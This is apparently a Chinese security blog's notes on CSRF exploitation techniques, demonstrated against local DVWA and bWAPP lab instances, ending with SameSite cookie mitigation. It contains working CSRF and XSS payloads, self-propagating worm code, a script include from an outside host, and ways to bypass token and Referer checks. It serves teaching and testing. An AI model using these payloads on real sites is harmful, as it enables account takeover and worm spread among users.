CSRF Tricks小结
/0x00 废话
这里对CSRF漏洞的攻击利用技巧做了笔记小结,不定时补充。
0x01 CSRF并非必须点击才能攻击
常规的CSRF的PoC如下,以DVWA的为例,通常是新建一个a标签让受害者点击:
1 | <a href='http://192.168.10.132/dvwa/vulnerabilities/csrf/?password_new=666&password_conf=666&Change=Change#'>Click Me</a> |
而以BP生成的PoC则是用GET或POST的方式来提交表单,同样是需要受害者来点击提交的这个按钮才能触发CSRF攻击的:
1 | <html> |
其实可以跳过用户点击按钮来触发CSRF攻击的这个步骤,只需要用户被诱使访问了恶意页面即可。当然,这种方法就是通过JavaScript来实现的。
a标签用的是click()方法:
1 | <a href='http://192.168.10.132/dvwa/vulnerabilities/csrf/?password_new=mi1k7ea&password_conf=mi1k7ea&Change=Change#'>Click Me</a> |
form表单用的是submit()方法:
1 | <html> |
0x02 利用iframe隐藏攻击过程
一般的,CSRF攻击成功后就会自动跳转到已被CSRF攻击的目标页面中,此时容易被受害者发现。此时可以利用iframe标签来引入CSRF攻击页面,让CSRF攻击过程都不直接在页面中显现,一切都隐藏在页面中悄悄进行,不易被受害者发现。
隐藏iframe框可以使用HTML5的hidden属性或直接用iframe的height和width属性:
1 | <iframe src="csrf.html" hidden="hidden"></iframe> |
0x03 CSRF并非必需浏览器才能攻击
一般针对Web服务的CSRF攻击,都是通过浏览器发起的,这是因为诱使受害者在浏览器中访问恶意页面时,浏览器会自动将已有的已登录站点的cookie自动带上去访问恶意页面中发起的表单请求。
但是CSRF并非只能通过浏览器这个媒介发起攻击的,它可利用自解压文件内的JavaScript等来攻击(当然,这是需要保存自本地的cookie才能成功)。
0x04 GET型CSRF利用方式多样化
我们稍微观察下BP生成的CSRF PoC会发现,无论是GET或POST都是表单的形式来发起攻击的。POST没话说,必须得是表单才能提交数据。但GET就不一定了,它可以通过其他的一些标签或属性来发起CSRF攻击。
可利用的方式如下:
<a>
标签<img>
标签<script>
标签<iframe>
标签<link>
标签- CSS方法
- JavaScript方法:Image对象、XMLHTTP对象
如前面BP生成的GET型CSRF攻击表单:
1 | <html> |
a标签,如前面:
1 | <a href='http://192.168.10.132/dvwa/vulnerabilities/csrf/?password_new=666&password_conf=666&Change=Change#'>Click Me</a> |
img标签:
1 | <img src='http://192.168.10.132/dvwa/vulnerabilities/csrf/?password_new=666&password_conf=666&Change=Change#' /> |
iframe标签:
1 | <iframe src='http://192.168.10.132/dvwa/vulnerabilities/csrf/?password_new=666&password_conf=666&Change=Change#' /> |
script标签:
1 | <script src='http://192.168.10.132/dvwa/vulnerabilities/csrf/?password_new=666&password_conf=666&Change=Change#' /> |
link标签:
1 | <link rel='stylesheet' href='http://192.168.10.132/dvwa/vulnerabilities/csrf/?password_new=666&password_conf=666&Change=Change#'> |
通过CSS触发:
1 | *{background: url('http://192.168.10.132/dvwa/vulnerabilities/csrf/?password_new=mi1k7ea&password_conf=mi1k7ea&Change=Change#');} |
当然要通过标签引入该CSS文件:
1 | <link rel="stylesheet" type="text/css" href="csrf.css"> |
0x05 CSRF+XSS漏洞组合拳
CSRF+XSS
这是最常见的前端漏洞组合拳。通常用于对漏洞的深度利用,或者是对防御的一种绕过利用,比如站点对CSRF漏洞设置了token机制来进行防御、但站点存在XSS漏洞可窃取CSRF token导致CSRF防御形同虚设,又如站点设置了HttpOnly限制XSS不能窃取用户cookie信息、但站点存在CSRF漏洞可被利用来进行其他的一些恶意表单操作。
生成一个随机Token是防御CSRF的经典方法之一。在页面涉及到表单时,会在服务器端生成一个Token,在页面加载时创建一个值为Token的
input
,插入到表单中,并设置type=”hidden“
隐藏。当提交表单时,会将这个Token值一起提交。服务器端验证这个Token是否正确,如果不正确就会扔掉此次请求。本来只要获取目标页面Token的值,这种防御方法就会无效。但CSRF攻击是在其他网站发起的,由于同源策略,发起攻击的网站B不能读取被攻击的网站A的内容,只能够对其发送请求。因此攻击者是无法获取Token值的,CSRF攻击就此失效。但当目标网站有一个XSS漏洞时,我们便可以先发送一次请求,通过JS的跨域方法绕过同源策略,从而读取网站A页面中的Token值。再发送第二次请求,带上Token值,完成CSRF攻击。博主这里使用window.name
来跨域窃取Token值。假如发起攻击的网站为B,受害站点为A。1.在A网站的URL中构造XSS payload,实现以下功能:
- 获取本页面的Token值
- 将Token值赋值给
window.name
2.在B网站中插入实现以下功能的JS:
创建一个
iframe
,并将iframe.src
设为上面构造好的带有XSS payload的A网站的URL写一个
function
,首先将iframe.contentWindow.location
设为任意一个与B网站同源的页面,然后使window.name = iframe.contentWindow.name
修改
iframe.contentWindow.location
的原因是:当iframe
中的页面为A网站的页面时,与B网站为不同源的,不能将iframe
的window.name
赋值给当前B网站窗口的window.name
。但是我们把iframe
中的页面换为与B网站同源的页面时,是可以进行window.name
的赋值的。由于window.name
的特性,其值本身与网站无关,是窗口的一个值。因此修改页面后window.name
并未改变,我们就可以顺利取出了。将这个
iframe
销毁3.在B网站中插入真正的CSRF payload,带上已成功获取的
window.name
中的Token值,进行攻击。
下面简单举例DVWA中XSS与CSRF漏洞的组合利用。
我们知道DVWA的CSRF的low级是无验证原密码就修改密码的,提交的是GET表单请求,payload如下:
1 | http://192.168.10.132/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change# |
在留言的地方即存储型XSS处,注入XSS的payload,内容为script标签,其中src属性值为CSRF攻击请求:
当其他用户访问到该留言内容时,就会被自动进行CSRF攻击篡改密码了:
CSRF+Self-XSS
对于Self-XSS,我们知道该类型的XSS漏洞是由用户自己输入给自己造成的攻击的一种XSS,很鸡肋。但如果Self-XSS和CSRF组合利用,则可以将漏洞影响面从用户自己本身扩展到了其他的用户,提高了漏洞的危害性。比如一个需登录站点存在一个Self-XSS,一般是用户自己才能自己搞自己,但是如果站点存在CSRF,则可以直接用来跨站伪造发起Self-XSS来窃取受害者的cookie信息。
一般来说,个人信息修改页面只有用户自己才能够看得到。假设网站A右上角的
你好,用户
这个地方存在XSS,并且在修改昵称为XSS payload后能够触发这个XSS。但是这个网站没有能够让其他用户看到你昵称的类似于留言板讨论区的地方,而管理员也一百年不会去看一下你的昵称,这个XSS就成为了一个鸡肋的SELF-XSS。因为普通用户怎么可能把昵称改成XSS payload来把Cookie送给你,你又没办法把自己的昵称改成恶意代码然后让别人看到,所以只能用来X自己。但如果同时这个网站有一个CSRF漏洞的话那就不一样了。我们可以通过以下操作来打任意用户的Cookie:1.在恶意网站B中写入CSRF payload,使用这个CSRF来修改用户在A网站的昵称为XSS payload
2.诱惑用户访问恶意网站B,CSRF payload触发,用户在A网站的昵称被修改为XSS payload
3.用户重新访问A网站时,由于右上角显示了昵称,所以会触发对应的XSS payload,乖乖的把Cookie给你送过来
这样,一个SELF-XSS便被利用了。恶意网站B可以是我们自己建立的,也可以是某些存在XSS漏洞的大型网站,通常大型网站更容易受信任。这些大型网站可能本身设置了
HTTP-ONLY
导致攻击者无法拿到Cookie,又不好做其他操作。但是用来做攻击其他网站的跳板却是无法防范的。
CSRF+Self-XSS案例:鸡肋CSRF和Self-XSS组合的变废为宝
JSON CSRF+Self-XSS案例:一次XSS+CSRF的组合拳进攻(CSRF+JSON)
0x06 CSRF+文件上传漏洞组合拳
我们知道,文件上传都是通过POST方式来上传的,而POST方式的CSRF只能通过表单的方式来发起攻击。这就存在一个问题,就是构造的表单提交的数据跟浏览器文件上传提交的数据会有所区别,即上传的请求会有一个filename的参数:
1 | -----------------------------70772515222937 |
如果通过构造表单的方式实现文件上传,是没办法构造filename参数的,这是因为filename参数是由<input>
标签自动生成的,是没办法通过表单来实现伪造的,从而能防御CSRF实现文件上传。
但自从HTML5出现后,有个叫CORS(跨域资源共享)的东西,让我们能够实现CSRF来上传文件。具体点说,就是利用JavaScript来对目标站点的上传点发起文件上传请求,这是因为CORS虽然不允许非法的外域读取本站点的资源、但并不阻止外域向本站发起请求,而CSRF刚刚好只是发起操作请求而非读取站点资源,这就构成了CSRF+文件上传漏洞的组合拳场景。
这种方式用BP就能生成:
1 | <html> |
然后自己再添加下JS自动点击上传按钮,并用iframe标签来隐藏攻击过程即可。
csrf.html:
1 | <html> |
csrf_iframe.html:
1 | <iframe src="csrf.html" hidden="hidden">hi</iframe> |
诱使已登录的用户访问,成功实现CSRF上传文件:
0x07 CSRF蠕虫
其实CSRF蠕虫漏洞本身还是一个CSRF漏洞,只不过基于漏洞的具体场景特殊性,一旦这个场景使得这个csrf具备了传播型,那么该漏洞就赋予了蠕虫性质。
其实,CSRF蠕虫并非必须和XSS组合才能触发,仅仅是CSRF漏洞也能发起蠕虫攻击,前提是该CSRF是可以控制发起的表单中的内容指向为该CSRF payload本身,导致循环触发。
比如一个提交帖子的表单操作存在CSRF漏洞,然而攻击者利用这个漏洞通过提交恶意表单来往帖子里的内容写入恶意的地址,该地址正是该CSRF漏洞的PoC,如此一来只要其他用户访问这个帖子的链接即可自动被CSRF攻击、以该用户身份新建一个一毛一样的帖子,然后就继续传染下去。
案例参考:
Demo1——纯CSRF蠕虫
下面我们以bWAPP的XSS - Stored (Blog)作为场景,因为这是一个博客留言的系统,适用于CSRF蠕虫的演示。
我们先新建一个alan用户,博客内容写上我们CSRF蠕虫payload的地址,这时所有用户都能查看:
csrf_iframe.html为引用iframe隐藏CSRF攻击过程页面:
1 | <iframe src="csrf.html" hidden="hidden"></iframe> |
csrf.html,针对提交博客内容的表单请求发起CSRF攻击,博文内容指向csrf_iframe.html、这就形成了恶意的循环、造成CSRF蠕虫,这里JS自动点击提交:
1 | <html> |
当其他用户如bee登录博客系统,就能看到alan用户的发的博客是个链接,当bee用户点击访问时就会自动触发CSRF蠕虫攻击:
再回到Blog界面会看到,bee用户也发布了一样的博文,说明被成功CSRF蠕虫攻击:
如此下去,其他用户看到并访问即可继续感染CSRF蠕虫。
Demo2——XSS+CSRF组合蠕虫
进一步的,如果站点还存在XSS漏洞,那么XSS+CSRF蠕虫的攻击将更为深入。
还是以前面的Blog系统为例,删除掉前面创建的博客内容。我们以新建alan用户登录并验证是否存在存储型XSS,提交博文内容为<script>alert("xss")</script>
:
编写csrf.html如下,对提交博文进行CSRF攻击:
1 | <html> |
这段HTML代码测试是OK的,问题在于我们要想XSS和CSRF进行组合利用,那就需要将这段内容转换为JavaScript代码的形式才能被script标签加载进来成功执行。这里可以使用XSS’OR工具来对这段HTML代码进行转换:
1 | document.writeln("<html><!--CSRF PoC-generated by Burp Suite Professional--><body><script>history.pushState(\'\',\'\',\'\/\')<\/script><form id=\"csrf\"action=\"http:\/\/192.168.10.133\/bWAPP\/xss_stored_1.php\"method=\"POST\"><input type=\"hidden\"name=\"entry\"value=\"http://192.168.10.1/csrf.js\"\/><input type=\"hidden\"name=\"blog\"value=\"submit\"\/><input type=\"hidden\"name=\"entry_add\"value=\"\"\/><input type=\"submit\"value=\"Submit request\"\/><\/form><\/body><script>var m=document.getElementById(\'csrf\');m.submit();<\/script><\/html>"); |
这段JavaScript代码的实现很简单,直接将HTML代码内容放入document.writeln()函数中,直接将其写入当前HTML页面。
注意,前面这段实现CSRF攻击的HTML或JavaScript代码在提交表单新建博文时内容是填写的http://192.168.10.1/csrf.js
而非XSS payload。这里如果要修改为实现XSS+CSRF蠕虫的payload,由于博文内容需要填入尖括号<>
,因此这种方式并不能提交。
下面我们换种写法,利用JavaScript来创建表单和输入项再提交,csrf2.js:
1 | function new_form(){ |
将这段JS代码中的一个作为csrf2.js文件,删掉之前alan用户相关的博文,提交博文内容为<script src="http://192.168.10.1/csrf2.js"></script>
,即通过script标签直接引入CSRF攻击的JavaScript代码,之后会发现只要有用户访问了这个页面就会一直触发XSS+CSRF蠕虫攻击(因为这个Blog内容是直接显示在主页而无需点进去才能看到内容),每次被攻击的用户都会自动发布一个同样payload的博文继续往下传染蠕虫:
当其他用户访问就会自动感染蠕虫:
0x08 CSRF绕过技巧收集
引自:绕过CSRF防御
所有的CSRF
不管哪种CSRF防御措施部署,你都可以先尝试如下两件事:点击劫持和更改请求方法。
点击劫持
在同一个功能端点利用点击劫持会绕过所有CSRF防御。因为从技术上讲,请求确实来自合法站点,如果易受攻击的端点所在页面容易遭受点击劫持攻击,那么所有的CSRF保护将变得没有效果,攻击者可以任意执行CSRF攻击。
更改请求方法
另外值得一试的方法就是更改请求的方法。如果要伪造的敏感请求是通过POST方法发送的,那么尝试将其转换为GET请求。如果操作时通过GET方法发送的,那么尝试转换为POST方法。应用程序可能仍然执行操作,且通常没有任何保护机制。
例如,如下请求:
1 | POST /change_password |
可以被改写成
1 | GET /change_password?new_password=qwerty |
CSRF token的防御措施
因为一个站点使用了CSRF token不代表这个token是有效验证对应请求操作的,可以尝试如下方法绕过CSRF的token保护。
删除token参数或发送空token
不发送token也可以正常请求数据是因为这种逻辑错误在应用程序中非常常见:应用程序有时会在token存在的时候或者token参数不为空的时候检查token的有效性。这种情况下,如果一个请求不包含token或者token值为空,那么也是有可能绕过CSRF的防御的。
例如,合法请求如下
1 | POST /change_password |
那么实施这种请求:
1 | POST /change_password |
或这种:
1 | POST /change_password |
使用另一个session的CSRF token
应用程序可能只是检查token是否合法,但是不检查token是否确实归属于当前用户。如果是这种情况的话,你可以在payload中硬编码一个合法有效的token即可。
如果一个受害者的token是871caef0757a4ac9691aceb9aad8b65b,你自己的token是YOUR_TOKEN,那么你可以很容易获取到自己的token但很难获取到受害者的token。尝试在payload中提供自己的token来绕过CSRF防御。
换句话说,原本应该发送如下请求:
1 | POST /change_password |
但是改成发送这个请求:
1 | POST /change_password |
Session固定
有时候站点使用一个双提交cookie作为一个CSRF的防御措施。这个表明这个请求需要包含一个cookie,其值为随机token值,且同时在请求参数中也有一个字段值为该随机token值。如果值相同,那么请求是合法的。这种防御形式是非常常见的。
如果一个双提交cookie用在了防御措施中,那么这个应用有可能没有将有效的token保存在服务器端。所以它没有办法指定token是否合法,并且也有可能很少检查cookie中的token值和参数中token值是不是一样的。这代表你可以发送一个假token,然后仍然可以有效实施CSRF攻击。
这种攻击包含两个步骤:第一步,你使用一个session固定技术去确认受害者的浏览器使用的是你提供的包含假token的session,然后第二步在参数中使用同一个token来执行这个CSRF攻击。
session固定。这是一个可以让你控制受害者的cookie存储的攻击;
执行如下请求来实施CSRF攻击
1
2
3
4POST /change_password
Cookie: CSRF_TOK=FAKE_TOKEN;
POST body:
new_password=qwerty &csrf_tok=FAKE_TOKEN
Referer字段的CSRF防御
如果attack.com是一个可控的域名,bank.com是一个要攻击的域名。这个站点没有使用CSRF token但是检查了referer字段。你应该怎么做?
Referer字段为空
利用ftp://,http://,https://,file://,javascript:,data:
协议绕过。这个时候浏览器地址栏是file://开头的,如果这个HTML页面向任何http站点提交请求的话,这些请求的Referer都是空的。
利用data:协议
1 | <html> |
Base64解码即可看到代码。
利用https协议
https向http跳转的时候Referer为空,拿一个https的webshell
1 | <iframe src="https://xxxxx.xxxxx/attack.php"> |
attack.php写上CSRF攻击代码
移除Referer字段
和发送一个空token值相同,有时候你只需简单地移除referer字段就可以绕过CSRF防御。你可以添加如下meta标签到存在漏洞的页面。
1 | <meta name =“referrer”content =“no-referrer”> |
应用程序可能只是在发送后才会验证,这种情况下你可以绕过其CSRF防御。
绕过正则表达式
如果referer检查是基于白名单的,你可以尝试绕过验证URL的正则表达式。例如,你可以尝试在referer的URL中将受害者域名置于二级域名区域或者URL目录区域。
如果一个站点在referer字段检查“bank.com”字段,那么“bank.com.attacker.com”或”attakcer.com/bank.com”可能可以绕过这种检测。
判断Referer是某域情况下绕过
比如你找的csrf是xxx.com验证的referer是验证的*.xx.com可以找个二级域名之后<img "csrf地址">
之后在把文章地址发出去就可以伪造。
0x09 Cookie的SameSite属性
众所周知,正是cookie的滥用,才导致了CSRF漏洞的存在。
在Cookie出现SameSite属性之前,针对CSRF攻击的防御措施都是基于Anti-CSRF Token机制或者校验Referer头字段。
从Chrome 51开始,浏览器的Cookie新增加了一个SameSite属性,用来防止CSRF攻击和用户追踪(当然也能防御XSSI)。
其中可以设置如下三个属性值:
- Strict
- Lax
- None
Strict
Strict最为严格,完全禁止第三方 Cookie,跨站点时,任何情况下都不会发送 Cookie。换言之,只有当前网页的 URL 与请求目标一致,才会带上 Cookie。
1 | Set-Cookie: CookieName=CookieValue; SameSite=Strict; |
这个规则过于严格,可能造成非常不好的用户体验。比如,当前网页有一个 GitHub 链接,用户点击跳转就不会带有 GitHub 的 Cookie,跳转过去总是未登陆状态。
Lax
Lax规则稍稍放宽,大多数情况也是不发送第三方 Cookie,但是导航到目标网址的 Get 请求除外。
1 | Set-Cookie: CookieName=CookieValue; SameSite=Lax; |
导航到目标网址的 GET 请求,只包括三种情况:链接,预加载请求,GET 表单。详见下表。
请求类型 | 示例 | 正常情况 | Lax |
---|---|---|---|
链接 | <a href="..."></a> |
发送 Cookie | 发送 Cookie |
预加载 | <link rel="prerender" href="..."/> |
发送 Cookie | 发送 Cookie |
GET 表单 | <form method="GET" action="..."> |
发送 Cookie | 发送 Cookie |
POST 表单 | <form method="POST" action="..."> |
发送 Cookie | 不发送 |
iframe | <iframe src="..."></iframe> |
发送 Cookie | 不发送 |
AJAX | $.get("...") |
发送 Cookie | 不发送 |
Image | <img src="..."> |
发送 Cookie | 不发送 |
设置了Strict或Lax以后,基本就杜绝了 CSRF 攻击。当然,前提是用户浏览器支持 SameSite 属性。
None
Chrome 计划将Lax变为默认设置。这时,网站可以选择显式关闭SameSite属性,将其设为None。不过,前提是必须同时设置Secure属性(Cookie 只能通过 HTTPS 协议发送),否则无效。
下面的设置无效。
1 | Set-Cookie: widget_session=abc123; SameSite=None |
下面的设置有效。
1 | Set-Cookie: widget_session=abc123; SameSite=None; Secure |
安全整改
一般而言,对于业务来说是建议设置SameSite属性值为Lax的,因为Strict太影响用户体验。
Lax对GET请求是放行的,因此整改的重点在于要严格区分GET和POST的职责,即GET只能进行一些查询类或导航类的访问、而不是进行状态更改,要执行一些更改类的表单操作就必须交由POST来处理,在这种场景下Lax的设置才会将风险降到较低。这是因为:
- 如果用GET携带参数访问,其中的参数值将会记录在浏览器历史、Web日志以及访问其他页面的Referer头字段中;
- Cookie的SameSite属性设置为Lax的GET请求还是会被攻击者利用进行CSRF攻击,且GET型CSRF攻击难度低;
当然,结合其他的Cookie头字段设置可以达到更高的安全性,可参考:https://scotthelme.co.uk/tough-cookies/